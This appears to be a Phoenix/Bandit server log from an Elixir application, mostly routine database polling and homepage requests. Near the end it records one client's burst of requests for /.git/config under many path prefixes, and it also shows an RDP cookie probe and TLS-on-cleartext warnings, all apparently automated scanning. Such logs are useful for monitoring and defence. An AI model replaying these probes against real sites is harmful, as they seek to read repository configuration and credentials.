[Sat Sep  5 08:15:23.044000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Sat Sep  5 08:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1021.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:17:13.208000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.56:40088] GET /
[Sat Sep  5 08:17:13.208000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.56:40088] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:17:13.209000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.56:40088] Sent 200 in 932µs
[Sat Sep  5 08:19:07.657000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.78.27.30:37304] GET /
[Sat Sep  5 08:19:07.657000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 34.78.27.30:37304] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:19:07.658000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.78.27.30:37304] Sent 200 in 1ms
[Sat Sep  5 08:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1993.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:30:00.850000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.3ms idle=132.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 08:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 08:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1968.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1942.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:54:22.982000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 08:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1919.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:58:54.869000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 09:00:00.979000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=179.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 09:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 09:06:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1891.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 09:13:13.387000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.46:54874] GET /
[Sat Sep  5 09:13:13.387000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.46:54874] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 09:13:13.388000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.46:54874] Sent 200 in 1ms
[Sat Sep  5 09:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1862.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 09:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1837.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 09:27:01.313000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.12:47376] GET /
[Sat Sep  5 09:27:01.313000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.12:47376] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 09:27:01.314000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.12:47376] Sent 200 in 1ms
[Sat Sep  5 09:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1830.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 09:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1809.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 09:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1790.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 10:00:02.014000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=1089.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 10:00:02Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 10:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1762.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 10:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1740.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 10:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1723.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 10:30:00.396000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=1407.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 10:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 10:30:00.518000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1528.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 10:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 10:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1702.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 10:46:22.547000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: <<3, 0, 0, 43, 38, 224, 0, 0, 0, 0, 0, 67, 111, 111, 107, 105, 101, 58, 32, 109, 115, 116, 115, 104, 97, 115, 104, 61, 104, 101, 108, 108, 111, 13, 10>>
[Sat Sep  5 10:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1664.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 10:51:12.747000 2026] [Phoenix.Logger:info] [pid 2816631] [client 87.236.176.232:43957] GET /
[Sat Sep  5 10:51:12.747000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 87.236.176.232:43957] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 10:51:12.748000 2026] [Phoenix.Logger:info] [pid 2816631] [client 87.236.176.232:43957] Sent 200 in 1ms
[Sat Sep  5 10:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms idle=1635.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:00:00.439000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.6ms idle=373.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 11:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 11:00:00.550000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=485.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 11:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 11:00:01.161000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=740.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 11:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 11:03:46.556000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.556000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.556000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.558000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:46.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:03:47.013000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35666] GET /.git/config
[Sat Sep  5 11:03:47.029000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35666] ** (Phoenix.Router.NoRouteError) no route found for GET /.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.056000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35682] GET /www/.git/config
[Sat Sep  5 11:03:47.058000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35696] GET /public/.git/config
[Sat Sep  5 11:03:47.059000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35748] GET /site/.git/config
[Sat Sep  5 11:03:47.060000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35738] GET /api/.git/config
[Sat Sep  5 11:03:47.100000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35748] ** (Phoenix.Router.NoRouteError) no route found for GET /site/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.100000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35682] ** (Phoenix.Router.NoRouteError) no route found for GET /www/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.103000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35724] GET /src/.git/config
[Sat Sep  5 11:03:47.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35738] ** (Phoenix.Router.NoRouteError) no route found for GET /api/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.104000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35736] GET /wordpress/.git/config
[Sat Sep  5 11:03:47.105000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35710] GET /var/www/.git/config
[Sat Sep  5 11:03:47.108000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35650] GET /app/.git/config
[Sat Sep  5 11:03:47.110000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35696] ** (Phoenix.Router.NoRouteError) no route found for GET /public/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.146000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35736] ** (Phoenix.Router.NoRouteError) no route found for GET /wordpress/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.147000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35724] ** (Phoenix.Router.NoRouteError) no route found for GET /src/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.150000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35710] ** (Phoenix.Router.NoRouteError) no route found for GET /var/www/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
